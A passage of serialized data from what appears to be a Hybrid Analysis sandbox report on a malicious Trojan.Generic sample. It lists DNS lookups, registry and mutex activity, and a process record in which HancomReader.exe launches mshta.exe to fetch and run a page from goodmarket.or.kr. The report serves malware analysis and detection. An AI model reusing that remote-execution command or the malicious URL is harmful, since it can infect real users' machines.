of","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]}],"dns_resolutions":[{"domain":"goodmarket.or.kr","address":"222.239.251.229","ttl":400,"country":"Korea, Republic of","registrar_name":"Gabia, Inc.(http://www.gabia.co.kr)","registrar_name_servers":"ns.cocoeye.co.kr","registrar_creation_date":"2012-08-10T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]}],"http_requests":[{"host":"goodmarket.or.kr","host_ip":"222.239.251.229:80","url":"/member/check/dat/1.html","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /member/check/dat/1.html HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\nHost: goodmarket.or.kr\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}],"processes":[{"pid":3992,"ppid":0,"name":"HancomReader.exe","command_line":"","sha256":"ff79c5eb93f3da35addec749f36631612e288ac4f86e793920a0cdb6b68c9c8f","normalized_path":"C:\\HancomReader.exe","uid":"00000000-00003992","icon":"$38"},{"pid":3372,"ppid":3992,"name":"mshta.exe","command_line":"http://goodmarket.or.kr/member/check/dat/1.html","sha256":"949485ba939953642714ae6831d7dcb261691cac7cbb8c1a9220333801f60820","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00000000-00003992","uid":"00000000-00003372"}],"all_imported_dlls":["user32.dll","shell32.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","profapi.dll","wshqos.dll","mswsock.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","shlwapi.dll","dnsapi.dll","dhcpcsvc.dll","WSHTCPIP.DLL","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","winhttp.dll","oleaccrc.dll","FWPUCLNT.DLL","api-ms-win-core-synch-l1-2-0.dll","cryptbase.dll","dhcpcsvc6.dll","mshtml.dll","secur32.dll","wship6.dll","DWrite.dll","d3d11.dll","nsi.dll","advapi32.dll","nlaapi.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","RpcRtRemote.dll","wintrust.dll","kernel32.dll","ntdll.dll","usp10.dll","cryptsp.dll","userenv.dll","sxs.dll","apphelp.dll","netprofm.dll","ws2_32.dll","version.dll","sspicli.dll","d2d1.dll","IPHLPAPI.DLL","rsaenh.dll","ieframe.dll","npmproxy.dll","oleacc.dll","fltLib.dll","ole32.dll","iertutil.dll","normaliz.dll","clbcatq.dll","webio.dll","crypt32.dll","devobj.dll","gdi32.dll","lpk.dll","dwmapi.dll","winnsi.dll","msasn1.dll","rpcss.dll","rpcrt4.dll","msctf.dll","KernelBase.dll","sechost.dll","oleaut32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","rasadhlp.dll","api-ms-win-downlevel-user32-l1-1-0.dll","msimtf.dll","msls31.dll","imm32.dll","VxSSL32.dll","uxtheme.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","d3d10warp.dll","cfgmgr32.dll","msvcrt.dll","urlmon.dll","wininet.dll","dxgi.dll","setupapi.dll","comctl32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\com_helloworld","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"name":"com_helloworld","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"name":"!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]}]}},"report_ids":{"sandbox_job_ids":["64f19c86a84e48d9cd0b86a2"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample ff79c5eb93f3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample ff79c5eb93f3…. Malware family: Trojan.Generic. Threat score 100/100. 12/28 AV engines flagged this file. 6 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/ff79c5eb93f3da35addec749f36631612e288ac4f86e793920a0cdb6b68c9c8f"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample ff79c5eb93f3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample ff79c5eb93f3…. Malware family: Trojan.Generic. Threat score 100/100. 12/28 AV engines flagged this file. 6 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/ff79c5eb93f3da35addec749f36631612e288ac4f86e793920a0cdb6b68c9c8f"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample ff79c5eb93f3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample ff79c5eb93f3…. Malware family: Trojan.Generic. Threat score 100/100. 12/28 AV engines flagged this file. 6 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L39","11",{}]]